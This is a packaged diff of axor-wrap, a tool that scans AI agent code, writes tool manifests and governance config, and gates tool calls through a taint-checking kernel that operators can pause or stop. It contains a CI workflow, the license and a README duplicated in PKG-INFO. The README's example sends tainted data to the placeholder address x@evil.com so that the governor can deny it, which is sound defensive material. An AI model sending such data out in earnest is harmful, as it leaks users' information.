axor-wrap 0.1.0__tar.gz

axor_wrap-0.1.0/.github/workflows/ci.yml

@@ -0,0 +1,89 @@
+name: CI/CD
+
+on:
+  push:
+    branches: [main]
+    tags: ["v*.*.*"]
+  pull_request:
+    branches: [main]
+
+jobs:
+  test:
+    name: Test (Python ${{ matrix.python-version }})
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        python-version: ["3.11", "3.12"]
+
+    steps:
+      - uses: actions/checkout@v4
+
+      - uses: actions/setup-python@v5
+        with:
+          python-version: ${{ matrix.python-version }}
+          cache: pip
+
+      - name: Install
+        # axor_wrap.plane needs axor-core >=0.10, which is not on PyPI yet
+        # (locally resolved via [tool.uv.sources]), so install it from git and
+        # the plane transport deps directly instead of the [plane] extra.
+        run: |
+          pip install -e ".[dev]"
+          pip install "axor-core @ git+https://github.com/Bucha11/axor-core@main"
+          pip install "httpx>=0.27" "cryptography>=42.0"
+
+      - name: Lint
+        run: ruff check axor_wrap/ tests/ --quiet
+
+      - name: Run tests
+        run: pytest tests/ -v --tb=short
+
+  publish:
+    name: Publish to PyPI
+    needs: test
+    runs-on: ubuntu-latest
+    if: startsWith(github.ref, 'refs/tags/v')
+    environment: pypi
+
+    permissions:
+      id-token: write
+
+    steps:
+      - uses: actions/checkout@v4
+
+      - uses: actions/setup-python@v5
+        with:
+          python-version: "3.12"
+
+      - name: Verify tag matches package version
+        run: |
+          python - << 'EOF'
+          import pathlib
+          import re
+          import sys
+          import tomllib
+
+          ref = "${{ github.ref_name }}"
+          m = re.fullmatch(r"v(\d+\.\d+\.\d+)", ref)
+          if not m:
+              print(f"Tag {ref!r} must match vX.Y.Z")
+              sys.exit(1)
+
+          tag_version = m.group(1)
+          data = tomllib.loads(pathlib.Path("pyproject.toml").read_text(encoding="utf-8"))
+          pkg_version = data["project"]["version"]
+
+          if tag_version != pkg_version:
+              print(f"Version mismatch: tag={tag_version}, pyproject={pkg_version}")
+              sys.exit(1)
+
+          print(f"Version check passed: {pkg_version}")
+          EOF
+
+      - name: Build
+        run: |
+          pip install hatchling build
+          python -m build
+
+      - name: Publish to PyPI
+        uses: pypa/gh-action-pypi-publish@release/v1

axor_wrap-0.1.0/.gitignore

@@ -0,0 +1,6 @@
+__pycache__/
+*.pyc
+.ruff_cache/
+dist/
+build/
+*.egg-info/

axor_wrap-0.1.0/LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or Derivative
+          Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2026 The Axor Authors
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

axor_wrap-0.1.0/PKG-INFO

@@ -0,0 +1,191 @@
+Metadata-Version: 2.4
+Name: axor-wrap
+Version: 0.1.0
+Summary: Wrap engine for the Axor ecosystem: scan agent code, emit tool manifests, compile governance, wrap the runtime
+Project-URL: Repository, https://github.com/Bucha11/axor-wrap
+License: Apache-2.0
+License-File: LICENSE
+Keywords: agents,ai,governance,langchain,llm,mcp,security
+Requires-Python: >=3.11
+Provides-Extra: dev
+Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
+Requires-Dist: pytest>=8.0; extra == 'dev'
+Requires-Dist: ruff>=0.5; extra == 'dev'
+Provides-Extra: kernel
+Requires-Dist: axor-core<0.11,>=0.10; extra == 'kernel'
+Provides-Extra: plane
+Requires-Dist: axor-core<0.11,>=0.10; extra == 'plane'
+Requires-Dist: cryptography>=42.0; extra == 'plane'
+Requires-Dist: httpx>=0.27; extra == 'plane'
+Description-Content-Type: text/markdown
+
+# axor-wrap
+
+[![PyPI](https://img.shields.io/pypi/v/axor-wrap?cacheSeconds=300)](https://pypi.org/project/axor-wrap/)
+[![Python](https://img.shields.io/pypi/pyversions/axor-wrap?cacheSeconds=300)](https://pypi.org/project/axor-wrap/)
+[![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](LICENSE)
+
+**Wrap engine for the Axor ecosystem: point it at agent code, get tool manifests, governance config, and a kernel-gated runtime.**
+
+Takes an agent codebase (plain Python / LangChain / MCP), statically finds its tools, and emits:
+
+1. **tool-manifests** — `tool-manifest/v1` files, the runnable contract [axor-lab](https://github.com/Bucha11/axor-lab) benchmarks against;
+2. **governance config** — a `GovernanceConfig`-loadable YAML and `ToolCallGovernor` kwargs, using the same manifest→config compilation semantics as axor-lab;
+3. **a wrapped runtime** — every tool call goes `evaluate → deny? → call → register_output` through the real [axor-core](https://github.com/Bucha11/axor-core) kernel;
+4. **a live governed node** — `axor_wrap.plane` speaks the Control-Plane protocol (v0.2), so the wrapped agent can attach to a plane and be paused/stopped by an operator.
+
+Core is stdlib-only, zero dependencies. axor-core is an optional extra.
+
+---
+
+## Why one wrap serves both products
+
+The Axor ecosystem has two consumers of the same wrapped runtime:
+
+- **Control Plane** speaks the plane protocol: a node enrolls, receives its admitted config, and enforces per-call with `ToolCallGovernor` — the 9-gate, per-value taint engine.
+- **Lab** speaks the runtime-jobs protocol (*Lab assigns, the runtime executes*): the runtime registers once, pulls experiment assignments, runs trials locally under the same governor, and pushes back kernel events + traces.
+
+Both consume the same two artifacts this package produces: **tool manifests** (what the tools are, what they can affect) and the **compiled governor config** (which tools are egress sinks, which are untrusted sources, which arguments drive the gate). Wrap once — connect to either.
+
+```
+agent code ──scan──► DetectedTool ──infer──► EffectGuess ──build──► tool-manifest/v1
+                                                                        │
+                                              ┌─────────────────────────┤
+                                              ▼                         ▼
+                                     governor kwargs /          WrappedToolset
+                                     governance YAML            (axor-core gate)
+                                              │                         │
+                                     Control Plane ◄── one runtime ──► Lab
+```
+
+### Where the plane lives, and why
+
+The Control-Plane primitives are **here**, in `axor_wrap.plane`, not in axor-core:
+
+| | lives in | what it is |
+|---|---|---|
+| `DesiredState`, `Injection`, `Excision`, `excision_refused_refs` | **axor-core** (`kernel.state`) | the lattice and provenance guard the kernel folds — enforcement reasons over these whether or not a plane exists |
+| `canonicalize` (JCS/RFC 8785), `kernel.events`, `contracts.trace` | **axor-core** | the canonical bytes commands are signed over, and the schemas telemetry speaks |
+| `AdmissionController` | **axor-core** (`contracts.admission`) | a pure contract, no imports — the seam `IntentLoop`/`GovernedSession` steer through |
+| `PlaneSession`, `PlaneClient`, `PlaneAdmission`, `trace_to_kernel` | **axor-wrap** (`axor_wrap.plane`) | protocol-v0.2 session semantics, the outbound transport, the admission implementation, the trace→event projection |
+
+The split exists to make one guarantee structural instead of conventional: enforcement is local and in-process, and the plane is an advisory overlay that can only *narrow* (spec 12.0). A kernel that **cannot import** a plane client cannot grow a dependency on one — so "the plane is not in the decision path" becomes a packaging fact, and axor-core keeps zero required dependencies and no network surface at all.
+
+## Install
+
+```bash
+pip install axor-wrap                # scanner + compiler, stdlib-only
+pip install 'axor-wrap[kernel]'      # + axor-core, for the wrapped runtime
+pip install 'axor-wrap[plane]'       # + httpx/cryptography, to attach as a live Control-Plane node
+```
+
+## Quickstart
+
+```bash
+# 1. scan — what tools does this agent have, and what do they probably do?
+axor-wrap scan ./my_agent
+# TOOL        FRAMEWORK  EFFECT   CONF    SCHEMA  SOURCE
+# search_web  langchain  READ     high    high    agent.py:7 langchain:@tool
+# send_email  langchain  EXPORT   high    high    agent.py:14 langchain:@tool
+# shell       implicit   EXEC     high    low     runner.py:9 implicit:subprocess.run
+
+# 2. manifest — one tool-manifest/v1 per tool + wrap.json sidecar
+axor-wrap manifest ./my_agent -o manifests/
+
+# 3. config — GovernanceConfig-compatible YAML
+axor-wrap config manifests/ > governance.yaml
+
+# 4. connect to a Lab server (runtime-jobs protocol)
+axor-wrap connect-lab --base-url http://127.0.0.1:8321 --model claude-fable-5
+```
+
+Exit codes: `0` ok, `2` nothing found / bad input.
+
+### Wrapped runtime
+
+```python
+from axor_wrap import WrappedToolset, ToolDenied, scan_project, infer_effect, build_manifest
+
+tools = {"search_web": search_web, "send_email": send_email}
+detected = scan_project(Path("./my_agent"))
+manifests = [build_manifest(t, infer_effect(t)) for t in detected]
+
+toolset = WrappedToolset(tools, manifests)          # needs axor-wrap[kernel]
+try:
+    toolset.call("send_email", {"to": "x@evil.com", "body": tainted_text})
+except ToolDenied as denial:
+    print(denial.category, denial.reason)           # e.g. taint_enforcement: ...
+
+# or, for frameworks that own their loop (LangChain executors, MCP servers):
+from axor_wrap import wrap_callables
+governed = wrap_callables(tools, manifests)         # drop-in callables, one shared session
+```
+
+## What the scanner detects
+
+| Pattern | Framework tag |
+|---|---|
+| `@tool` (any alias from `langchain_core.tools` / `langchain.tools`) | `langchain` |
+| `StructuredTool.from_function(...)` | `langchain` |
+| `Tool(name=..., func=...)` | `langchain` |
+| `@mcp.tool()` / `@server.tool()` (incl. `x = FastMCP(...)` bindings) | `mcp` |
+| dict literals with `{name, description, input_schema}` | `anthropic` |
+| `subprocess.run/Popen/...`, `os.system` → implicit `shell` candidate | `implicit` |
+
+Argument schemas are inferred from type hints (`str→string`, `int→integer`, `float→number`, `bool→boolean`; default present → optional). **Honesty rule:** anything not inferable stays a bare `{"type": "object"}` with `schema_confidence: "low"` — the scanner never invents types.
+
+## Manifest format
+
+The embedded schema `axor_wrap/schemas/tool-manifest.schema.json` is a verbatim copy of **`axor-lab/contracts/schemas/tool-manifest.schema.json` — the axor-lab contracts are the source of truth**; this copy only removes the cross-repo import. `validate_manifest` checks against it with a minimal own subset validator (same approach as axor-lab's `lab_contracts/subset_validator.py`; no `jsonschema` dependency).
+
+Compilation semantics match axor-lab's `compiled_governor_config`: effect class EXPORT/EXEC (default or any `resolve` rule) → `egress_sinks`; declared `untrusted_fields` → `untrusted_sources`; `effect.driving_args` → `driving_args`; a policy allowlist → an enum `value_policy` on each sink's first driving arg.
+
+## Status: what's real / not yet
+
+**Real today**
+
+- static detection of the 6 patterns above, with signature→schema inference;
+- valid `tool-manifest/v1` output + embedded-schema validation;
+- governor-config compilation with axor-lab's exact mapping semantics;
+- `WrappedToolset` / `wrap_callables` driving the real `ToolCallGovernor` (extra `kernel`);
+- `LabRuntimeConnector` — the full runtime-jobs handshake (connect / poll / claim / events / complete), tested against a protocol stub.
+- `PlaneConnector` — a **live governed node on the Control Plane** (extra `plane`), built on this package's own `axor_wrap.plane` primitives (`PlaneSession`/`PlaneClient`): it registers, heartbeats (Control's topology shows the node with a level that mirrors its posture — `NORMAL` / `CAUTIOUS` / `RESTRICTED`), and subscribes to desired state over SSE, so an operator's **pause / stop / budget-cap** is applied to the node by real plane code. `PlaneConnector.gate(toolset)` binds that posture to a wrapped runtime, so a pause/stop actually **holds real tool execution** (`AdmissionHeld`), not just a session flag. Tested against a stdlib SSE plane-backend stub that pushes a real `{paused: true}` delta.
+- `PlaneConnector.post_health_check(payload)` — the out-dial half of the behavioral health check. A node that runs an [axor-probe](https://github.com/Bucha11/axor-probe) battery posts the finished verdict to the plane, which renders it on its Health panel. The payload is `axor_probe.integration.plane.health_payload(report)`; the dict is the whole contract, so axor-wrap never imports axor-probe and a node that does not probe simply never calls this. Batteries are the node's to run: the plane has no inbound path into a runtime, and a health check is not an exception.
+
+```python
+from axor_wrap import PlaneConnector, WrappedToolset
+
+toolset = WrappedToolset(tools, manifests)                 # axor-wrap[kernel]
+node = PlaneConnector("https://plane.example", "node-1",   # axor-wrap[plane]
+                      operator_keys={"ops": "<ed25519-hex>"})
+node.connect()
+node.gate(toolset)             # paused/stopped node → toolset.call raises AdmissionHeld
+await node.run(ttl=180)        # heartbeat + desired-state loop until stop()/ttl
+
+# and, if this node also probes itself for behavioral drift:
+from axor_probe.integration.plane import health_payload   # axor-probe, optional
+report = await pipeline.run(event)
+if report is not None:
+    await node.post_health_check(health_payload(report))
+```
+
+**Not yet / honest limits**
+
+- **Full IntentLoop-admission on live load**: `PlaneConnector` connects and gates tool calls at the intent boundary, but the deeper axor-core path — an operator injection / excision / replan winding a running `IntentLoop` down via `GovernedSession(executor=Invokable, admission=PlaneAdmission(session))` — needs the framework to hand axor-core an `Invokable` agent brain. The wrap model gates tools while the framework owns the invocation loop, so it exposes the posture gate (`admit`) rather than owning an `IntentLoop`. Adopting the full path is a per-framework integration, not a change to this connector.
+- **Role inference is a heuristic** with `UNKNOWN` as a first-class outcome; final classification is a human decision in the config builder. In the manifest an `UNKNOWN` compiles **fail-closed to `EXEC`** (the tool lands in `egress_sinks` until reviewed); the raw guess + confidence + reason survive in `wrap.json`.
+- The detector covers the 6 patterns listed — dynamically registered tools (loops building `Tool(...)` from data, decorators re-exported through helper modules, tools defined in non-Python config) are out of static reach and will not be found.
+- `effect.resolve` rules, `result_schema`, `sensitive_fields`, simulation/reset strategies are not auto-generated — the manifest is a reviewed starting point, not a finished contract.
+
+## Development
+
+```bash
+uv run --extra dev --extra plane pytest -q   # the whole suite
+python -m unittest discover -s tests -t .    # the stdlib-only half, no axor-core needed
+ruff check .
+```
+
+`axor_wrap.plane`'s tests came over from axor-core verbatim (they pin protocol-v0.2
+governance invariants, so they were moved rather than rewritten) and are pytest-native;
+everything else is stdlib `unittest`, which pytest collects too.
+
+License: Apache-2.0.

axor_wrap-0.1.0/README.md

@@ -0,0 +1,170 @@
+# axor-wrap
+
+[![PyPI](https://img.shields.io/pypi/v/axor-wrap?cacheSeconds=300)](https://pypi.org/project/axor-wrap/)
+[![Python](https://img.shields.io/pypi/pyversions/axor-wrap?cacheSeconds=300)](https://pypi.org/project/axor-wrap/)
+[![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](LICENSE)
+
+**Wrap engine for the Axor ecosystem: point it at agent code, get tool manifests, governance config, and a kernel-gated runtime.**
+
+Takes an agent codebase (plain Python / LangChain / MCP), statically finds its tools, and emits:
+
+1. **tool-manifests** — `tool-manifest/v1` files, the runnable contract [axor-lab](https://github.com/Bucha11/axor-lab) benchmarks against;
+2. **governance config** — a `GovernanceConfig`-loadable YAML and `ToolCallGovernor` kwargs, using the same manifest→config compilation semantics as axor-lab;
+3. **a wrapped runtime** — every tool call goes `evaluate → deny? → call → register_output` through the real [axor-core](https://github.com/Bucha11/axor-core) kernel;
+4. **a live governed node** — `axor_wrap.plane` speaks the Control-Plane protocol (v0.2), so the wrapped agent can attach to a plane and be paused/stopped by an operator.
+
+Core is stdlib-only, zero dependencies. axor-core is an optional extra.
+
+---
+
+## Why one wrap serves both products
+
+The Axor ecosystem has two consumers of the same wrapped runtime:
+
+- **Control Plane** speaks the plane protocol: a node enrolls, receives its admitted config, and enforces per-call with `ToolCallGovernor` — the 9-gate, per-value taint engine.
+- **Lab** speaks the runtime-jobs protocol (*Lab assigns, the runtime executes*): the runtime registers once, pulls experiment assignments, runs trials locally under the same governor, and pushes back kernel events + traces.
+
+Both consume the same two artifacts this package produces: **tool manifests** (what the tools are, what they can affect) and the **compiled governor config** (which tools are egress sinks, which are untrusted sources, which arguments drive the gate). Wrap once — connect to either.
+
+```
+agent code ──scan──► DetectedTool ──infer──► EffectGuess ──build──► tool-manifest/v1
+                                                                        │
+                                              ┌─────────────────────────┤
+                                              ▼                         ▼
+                                     governor kwargs /          WrappedToolset
+                                     governance YAML            (axor-core gate)
+                                              │                         │
+                                     Control Plane ◄── one runtime ──► Lab
+```
+
+### Where the plane lives, and why
+
+The Control-Plane primitives are **here**, in `axor_wrap.plane`, not in axor-core:
+
+| | lives in | what it is |
+|---|---|---|
+| `DesiredState`, `Injection`, `Excision`, `excision_refused_refs` | **axor-core** (`kernel.state`) | the lattice and provenance guard the kernel folds — enforcement reasons over these whether or not a plane exists |
+| `canonicalize` (JCS/RFC 8785), `kernel.events`, `contracts.trace` | **axor-core** | the canonical bytes commands are signed over, and the schemas telemetry speaks |
+| `AdmissionController` | **axor-core** (`contracts.admission`) | a pure contract, no imports — the seam `IntentLoop`/`GovernedSession` steer through |
+| `PlaneSession`, `PlaneClient`, `PlaneAdmission`, `trace_to_kernel` | **axor-wrap** (`axor_wrap.plane`) | protocol-v0.2 session semantics, the outbound transport, the admission implementation, the trace→event projection |
+
+The split exists to make one guarantee structural instead of conventional: enforcement is local and in-process, and the plane is an advisory overlay that can only *narrow* (spec 12.0). A kernel that **cannot import** a plane client cannot grow a dependency on one — so "the plane is not in the decision path" becomes a packaging fact, and axor-core keeps zero required dependencies and no network surface at all.
+
+## Install
+
+```bash
+pip install axor-wrap                # scanner + compiler, stdlib-only
+pip install 'axor-wrap[kernel]'      # + axor-core, for the wrapped runtime
+pip install 'axor-wrap[plane]'       # + httpx/cryptography, to attach as a live Control-Plane node
+```
+
+## Quickstart
+
+```bash
+# 1. scan — what tools does this agent have, and what do they probably do?
+axor-wrap scan ./my_agent
+# TOOL        FRAMEWORK  EFFECT   CONF    SCHEMA  SOURCE
+# search_web  langchain  READ     high    high    agent.py:7 langchain:@tool
+# send_email  langchain  EXPORT   high    high    agent.py:14 langchain:@tool
+# shell       implicit   EXEC     high    low     runner.py:9 implicit:subprocess.run
+
+# 2. manifest — one tool-manifest/v1 per tool + wrap.json sidecar
+axor-wrap manifest ./my_agent -o manifests/
+
+# 3. config — GovernanceConfig-compatible YAML
+axor-wrap config manifests/ > governance.yaml
+
+# 4. connect to a Lab server (runtime-jobs protocol)
+axor-wrap connect-lab --base-url http://127.0.0.1:8321 --model claude-fable-5
+```
+
+Exit codes: `0` ok, `2` nothing found / bad input.
+
+### Wrapped runtime
+
+```python
+from axor_wrap import WrappedToolset, ToolDenied, scan_project, infer_effect, build_manifest
+
+tools = {"search_web": search_web, "send_email": send_email}
+detected = scan_project(Path("./my_agent"))
+manifests = [build_manifest(t, infer_effect(t)) for t in detected]
+
+toolset = WrappedToolset(tools, manifests)          # needs axor-wrap[kernel]
+try:
+    toolset.call("send_email", {"to": "x@evil.com", "body": tainted_text})
+except ToolDenied as denial:
+    print(denial.category, denial.reason)           # e.g. taint_enforcement: ...
+
+# or, for frameworks that own their loop (LangChain executors, MCP servers):
+from axor_wrap import wrap_callables
+governed = wrap_callables(tools, manifests)         # drop-in callables, one shared session
+```
+
+## What the scanner detects
+
+| Pattern | Framework tag |
+|---|---|
+| `@tool` (any alias from `langchain_core.tools` / `langchain.tools`) | `langchain` |
+| `StructuredTool.from_function(...)` | `langchain` |
+| `Tool(name=..., func=...)` | `langchain` |
+| `@mcp.tool()` / `@server.tool()` (incl. `x = FastMCP(...)` bindings) | `mcp` |
+| dict literals with `{name, description, input_schema}` | `anthropic` |
+| `subprocess.run/Popen/...`, `os.system` → implicit `shell` candidate | `implicit` |
+
+Argument schemas are inferred from type hints (`str→string`, `int→integer`, `float→number`, `bool→boolean`; default present → optional). **Honesty rule:** anything not inferable stays a bare `{"type": "object"}` with `schema_confidence: "low"` — the scanner never invents types.
+
+## Manifest format
+
+The embedded schema `axor_wrap/schemas/tool-manifest.schema.json` is a verbatim copy of **`axor-lab/contracts/schemas/tool-manifest.schema.json` — the axor-lab contracts are the source of truth**; this copy only removes the cross-repo import. `validate_manifest` checks against it with a minimal own subset validator (same approach as axor-lab's `lab_contracts/subset_validator.py`; no `jsonschema` dependency).
+
+Compilation semantics match axor-lab's `compiled_governor_config`: effect class EXPORT/EXEC (default or any `resolve` rule) → `egress_sinks`; declared `untrusted_fields` → `untrusted_sources`; `effect.driving_args` → `driving_args`; a policy allowlist → an enum `value_policy` on each sink's first driving arg.
+
+## Status: what's real / not yet
+
+**Real today**
+
+- static detection of the 6 patterns above, with signature→schema inference;
+- valid `tool-manifest/v1` output + embedded-schema validation;
+- governor-config compilation with axor-lab's exact mapping semantics;
+- `WrappedToolset` / `wrap_callables` driving the real `ToolCallGovernor` (extra `kernel`);
+- `LabRuntimeConnector` — the full runtime-jobs handshake (connect / poll / claim / events / complete), tested against a protocol stub.
+- `PlaneConnector` — a **live governed node on the Control Plane** (extra `plane`), built on this package's own `axor_wrap.plane` primitives (`PlaneSession`/`PlaneClient`): it registers, heartbeats (Control's topology shows the node with a level that mirrors its posture — `NORMAL` / `CAUTIOUS` / `RESTRICTED`), and subscribes to desired state over SSE, so an operator's **pause / stop / budget-cap** is applied to the node by real plane code. `PlaneConnector.gate(toolset)` binds that posture to a wrapped runtime, so a pause/stop actually **holds real tool execution** (`AdmissionHeld`), not just a session flag. Tested against a stdlib SSE plane-backend stub that pushes a real `{paused: true}` delta.
+- `PlaneConnector.post_health_check(payload)` — the out-dial half of the behavioral health check. A node that runs an [axor-probe](https://github.com/Bucha11/axor-probe) battery posts the finished verdict to the plane, which renders it on its Health panel. The payload is `axor_probe.integration.plane.health_payload(report)`; the dict is the whole contract, so axor-wrap never imports axor-probe and a node that does not probe simply never calls this. Batteries are the node's to run: the plane has no inbound path into a runtime, and a health check is not an exception.
+
+```python
+from axor_wrap import PlaneConnector, WrappedToolset
+
+toolset = WrappedToolset(tools, manifests)                 # axor-wrap[kernel]
+node = PlaneConnector("https://plane.example", "node-1",   # axor-wrap[plane]
+                      operator_keys={"ops": "<ed25519-hex>"})
+node.connect()
+node.gate(toolset)             # paused/stopped node → toolset.call raises AdmissionHeld
+await node.run(ttl=180)        # heartbeat + desired-state loop until stop()/ttl
+
+# and, if this node also probes itself for behavioral drift:
+from axor_probe.integration.plane import health_payload   # axor-probe, optional
+report = await pipeline.run(event)
+if report is not None:
+    await node.post_health_check(health_payload(report))
+```
+
+**Not yet / honest limits**
+
+- **Full IntentLoop-admission on live load**: `PlaneConnector` connects and gates tool calls at the intent boundary, but the deeper axor-core path — an operator injection / excision / replan winding a running `IntentLoop` down via `GovernedSession(executor=Invokable, admission=PlaneAdmission(session))` — needs the framework to hand axor-core an `Invokable` agent brain. The wrap model gates tools while the framework owns the invocation loop, so it exposes the posture gate (`admit`) rather than owning an `IntentLoop`. Adopting the full path is a per-framework integration, not a change to this connector.
+- **Role inference is a heuristic** with `UNKNOWN` as a first-class outcome; final classification is a human decision in the config builder. In the manifest an `UNKNOWN` compiles **fail-closed to `EXEC`** (the tool lands in `egress_sinks` until reviewed); the raw guess + confidence + reason survive in `wrap.json`.
+- The detector covers the 6 patterns listed — dynamically registered tools (loops building `Tool(...)` from data, decorators re-exported through helper modules, tools defined in non-Python config) are out of static reach and will not be found.
+- `effect.resolve` rules, `result_schema`, `sensitive_fields`, simulation/reset strategies are not auto-generated — the manifest is a reviewed starting point, not a finished contract.
+
+## Development
+
+```bash
+uv run --extra dev --extra plane pytest -q   # the whole suite
+python -m unittest discover -s tests -t .    # the stdlib-only half, no axor-core needed
+ruff check .
+```
+
+`axor_wrap.plane`'s tests came over from axor-core verbatim (they pin protocol-v0.2
+governance invariants, so they were moved rather than rewritten) and are pytest-native;
+everything else is stdlib `unittest`, which pytest collects too.
+
+License: Apache-2.0.